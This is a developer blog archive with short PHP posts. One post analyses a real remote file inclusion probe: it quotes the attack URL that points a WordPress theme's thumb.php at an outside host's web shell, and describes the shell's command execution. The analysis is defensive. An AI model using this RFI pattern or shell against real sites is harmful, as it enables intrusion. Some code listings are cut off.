A case for PHP session handlers

Posted September 28th, 2015 in Razno by Metod

tl;dr: Don’t blindly write @session_start(); and hope for the best. Use a session handler!

A case for PHP session handlers

Not long ago, we were in transition from using Memcache to using Redis. Up until that point we were saving sessions to Memcache, but due to reasons beyond the scope of this blog post, we decided to migrate to Redis. As for any smooth transition, we kept Memcache up and ran Redis beside it so there would be no downtime in between deployments. After the deploy all went well. All apps were up and running. We decided to keep Memcache up for a few more days, just in case. And we forgot about that.

After some time, a system admin notices we still have Memcache up. Obviously the transition to Redis was made and we don’t need Memcache anymore, so he shuts it down. Suddenly some parts of the system start failing. Red alert, this cannot be good, why is it trying to connect to Memcache, when we removed all code related to it? So what was going on?

Lesson learned

We deploy our own configuration of session storage and caching etc. We do not rely on the server configuration, as it is not flexible enough. There was nothing wrong with our configuration. But, one of the developers wrote the following snippet of code in one of the component dealing with Facebook SDK (which requires an active session to connect a new user):

  1. <?php
  2.  
  3.  

Yes, he even suppressed errors, so we received no error messages related to that particular line of code.

There was no session handler in place. Coincidentally, the servers had session.save_handler and session.save_path set to Memcache servers and everything worked just fine. Up until the point when the system admin decided to shut down those Memcache servers.

Lesson learned. We managed to quickly resolve the issue by putting our existing session handling system in place. So, please, please, always make sure you know where and how your sessions will be stored. Especially if you are writing an app that is running in high-availability infrastructure.

How to write a session handler

Writing a session handler could not be easier. If you are running PHP >= 5.4 – and you should! – this is as easy as implementing the \SessionHandlerInterface. There is a nice example in the PHP documentation. For Memcache and Redis there are probably a lot of already written session handlers out there as well.

Finally

This was a short post on how something so simple can go pretty much very wrong. So I hope this will at least make someone not repeat the same mistake when dealing with sessions. Happy coding!

Get Doctrine2 DBAL connection for different databases in Symfony2

Posted October 26th, 2013 in Razno by Metod

Let’s say you have multiple databases you want to connect to and your config looks similar to the following:

So we have a default DBAL connection to db1 and we have 2 other databases db2 and db3 we want to connect to and perform some queries on.

How do we get the DBAL connections to them?

The Cookbook only tells us how to get the default (db1) connection:

  1. $conDb1 = $this->get(‘database_connection’);

If we want the connection to other 2, it goes like this:

  1. $conDb2 = $this->get(‘doctrine.dbal.db2_connection’);
  2. $conDb3 = $this->get(‘doctrine.dbal.db3_connection’);

The key part is of course: doctrine.dbal.%s_connection, where %s is replaced by the connection name you want to get.

Doctrine2: CHAR with annotations

Posted November 7th, 2012 in Razno by Metod

Ever wondered if there is a better way of defining a CHAR (mysql) with doctrine2 annotations?

From doctrine2 docs:

  1. <?php
  2. /**
  3.  * @Column(type="string", columnDefinition="CHAR(2) NOT NULL")
  4.  */
  5. protected $country;

Not a very nice approach imo. I dug around the code and found a somewhat neater solution:

  1. <?php
  2. /**
  3.  * @Column(type="string", length=2, options={"fixed" = true})
  4.  */
  5. protected $country;

Now you don’t need to manually type in column definitions. Enjoy!

Debugging PHP: Part II – References

Posted October 28th, 2012 in Razno by Metod

If you read around the internets, you will see alot of references are bad stuff. Well, they are if you deal with them in the wrong way. Let’s take a look at an example:

  1. <?php
  2. // …
  3.  
  4. foreach ($all_regions as &$regions) {
  5.     $regions[‘en’] = array_replace($regions[‘ascii’], $regions[‘en’]);
  6.     unset($regions[‘ascii’]);
  7. }
  8.  
  9. // alot of lines of code here
  10.  
  11. foreach ($all_regions as $country_id => $cultures) {
  12.     foreach ($cultures as $culture => $regions) {
  13.         // …
  14.     }
  15. }
  16.  
  17. // …

Just a simple code to replace any missing english translations with the ascii ones. For which we decided to use a reference. Which is all good, except … !

Can you spot the problem?

In the second nested foreach, in the second run of that foreach we get an error that the supplied value is not an array. But we know it is an array! So what is happening here?

Well, that reference we used has bitten us. Remember, how the values assigned in foreach loops do not get unset when we leave that foreach scope? The problem is that the &$regions did not get unset automatically and we kept that reference all the way down to that problematic foreach. In the first run of the second foreach we then effectively appoint the value of $cultures to the $all_regions variable, replacing it’s original array values. Thus we get the error.

What was the correct code?

Just unset the reference.

  1. <?php
  2. // …
  3.  
  4. foreach ($all_regions as &$regions) {
  5.     $regions[‘en’] = array_replace($regions[‘ascii’], $regions[‘en’]);
  6.     unset($regions[‘ascii’]);
  7. }
  8.  
  9. // this only unsets the reference, not the variable it is pointing to
  10. unset($regions);
  11.  
  12. // …

And the problem goes away. These kinds of bugs are hard to spot. Especially since there is quite some code between the two. So when using references keep in mind: Always unset your references once you’re done with them!

Debugging PHP: Part I – Type casting

Posted October 27th, 2012 in Razno by Metod

Here and there I run into some interesting bugs which I think would be nice to share. So here goes, bug #1 – Type casting.

  1. <?php
  2. $type = ‘sometype’;
  3.  
  4. // …
  5.  
  6. $entity->setSync((int)$type === ‘sometype’);
  7.  
  8. // …
  9.  
  10. if ($entity->getSync()) {
  11.     // this should be run
  12. }
  13.  
  14. // …
  15.  

Can you spot the problem? That if never gets evaluated. Why?

The problem is here:

  1. $entity->setSync((int)$type === ‘sometype’);

In this case, the (int) cast only casts the $type variable, not the whole expression. So (int)$type === 0 which definitely is not equal to ‘sometype’ and also since we are using strict checking, type int is not equal to type string. The result is always boolean false.

The correct line should be:

  1. $entity->setSync((int)($type === ‘sometype’));

So watch out with casting and parenthesis.

Post messages to a Teamspeak3 instance

Posted September 9th, 2012 in Snippets by Metod

This is a simple script for posting messages to a Teamspeak3 instance.

It uses the TeamSpeak3 Framework.

HTML5: contenteditable full example

Posted April 11th, 2012 in Zanimivosti by Metod

This post was inspired by a nice article on html5doctor: http://html5doctor.com/the-contenteditable-attribute/

The contenteditable attribute allows us to edit content of the element on the fly. However there are a few catches in the actual implementation that are not mentioned above.

Let us just check my implementation. I’m using jQuery and jQuery UI for the javascript part and PHP for the backend.

Of course the example was simplified to not clutter it too much.

I also recommend reading the html5doctor’s excellent article on the matter.

Have fun!

Random vulnerability disected

Posted February 1st, 2012 in Razno by Metod

Recently, I received a 404 notification for the following url:

http://www.metod.si/wp-content/themes/myweblog/thumb.php?src=http://picasa.com.jcibuenosaires.com.ar/2.php

Apparently the myweblog wordpress theme had (maybe still has) a RFI vulnerability.

Fortunately I do not use that theme. But I had to wonder what was inside the “2.php” file. So I downloaded it. :)

What was inside?

The file first tries to disguise itself as GIF image – GIF89a. But after the binary data it contains PHP code.

The PHP code is obvious. If you add &lol=1, execute first block. If you add &osc=pZ…AA=, execute second block, otherwise the third.

What does the first block do?

Well nothing special. It just identified the vulnerability and outputs some system information.

Example: v0pCr3wsys:Linux …nob0dyCr3w

Second block is practically the same, except that it accepts commands directly from url.

  1. <?php
  2.  
  3. $cmd = base64_decode($osc);
  4.  

Just append &osc=some_base64_encoded_command and it will execute it (if possible).

Third block is an editor that tries to upload files, create them etc..

Quite some script. Also this shows that you have to always sanitize user input. That really cannot be stressed enough.

SQLSTATE[HY000] [2002] Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’ (2)

Posted June 25th, 2011 in Zanimivosti by Metod

When you run into this error, a few solutions apply.

First one is to check where mysql.sock or mysqld.sock actually resides and change values in php.ini appropriately.

  1. mysqli.default_socket = /var/run/mysqld/mysqld.sock

You can also make a symbolic link to the correct location.

  1. # ln -s /var/run/mysqld/mysqld.sock /tmp/mysql.sock

For me, the above solution did not work. All I got was the change in error from (2) to (13). Turns out the solution is quite interesting. Instead of using ‘localhost’ as host for DB, use 127.0.0.1 – it magically begins to work again.

Unsetting elements of array in a for loop in php

Posted May 27th, 2011 in Snippets by Metod

I did something like this today:

  1. <?php
  2. $arr = ["some", "elements", "in", "array"];
  3.  
  4. for ($i = 0; $i < sizeof($arr); $i++) {
  5.     if (true) { // for sake of clarity
  6.         unset($arr[$i]);
  7.     }
  8. }

The loop never came to the final element of the array, therefore not checking all of them. What was the problem?

Since sizeof($arr) is calculated every time the loop comes around, it was returning less and less with every unset instead of returning the same value.

Solution:

  1. <?php
  2. $arr = ["some", "elements", "in", "array"];
  3.  
  4. $size = sizeof($arr);
  5.  
  6. for ($i = 0; $i < $size; $i++) {
  7.     if (true) { // for sake of clarity
  8.         unset($arr[$i]);
  9.     }
  10. }

That way you ensure that size is always the correct integer. And it will run faster.